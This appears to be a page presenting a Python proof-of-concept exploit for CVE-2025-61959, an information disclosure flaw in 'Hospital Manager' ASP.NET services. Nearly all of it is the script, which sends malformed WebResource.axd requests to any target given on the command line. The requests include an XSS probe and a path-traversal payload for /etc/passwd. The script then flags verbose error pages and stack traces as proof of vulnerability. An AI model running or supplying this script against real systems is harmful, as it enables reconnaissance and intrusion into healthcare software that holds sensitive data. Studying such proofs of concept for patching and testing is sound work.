CVE-2025-61959 Hospital Manager ASP.NET错误页面信息泄露漏洞

import requests import sys # CVE-2025-61959 PoC - Hospital Manager Information Disclosure # Target: Hospital Manager Backend Services # Vulnerability: Verbose ASP.NET error pages leak sensitive information def exploit_cve_2025_61959(target_url): """ Exploit for CVE-2025-61959 Sends malformed WebResource.axd requests to trigger detailed error pages """ # List of malicious WebResource.axd requests payloads = [ "/WebResource.axd?d=invalid_id", "/WebResource.axd?d=<script>alert(1)</script>", "/WebResource.axd?d=../../../etc/passwd", "/WebResource.axd?t=invalid_type", "/WebResource.axd", "/WebResource.axd?d=test&t=1234567890" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-61959 - Hospital Manager Information Disclosure\n") for payload in payloads: try: url = target_url.rstrip('/') + payload print(f"[+] Sending request: {payload}") response = requests.get(url, timeout=10, verify=False) # Check for information disclosure indicators indicators = [ "ASP.NET", "Stack Trace", "System.Web", "customErrors", "mode=\"Off\"", "at ", ".cs:line", "Server Error", "Configuration Error" ] response_text = response.text found_indicators = [] for indicator in indicators: if indicator in response_text: found_indicators.append(indicator) if found_indicators: print(f" [!] VULNERABLE! Found indicators: {', '.join(found_indicators)}") print(f" [i] Status code: {response.status_code}") print(f" [i] Response length: {len(response_text)} bytes\n") return True else: print(f" [-] No information disclosure detected\n") except requests.exceptions.RequestException as e: print(f" [!] Error: {e}\n") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_61959(target)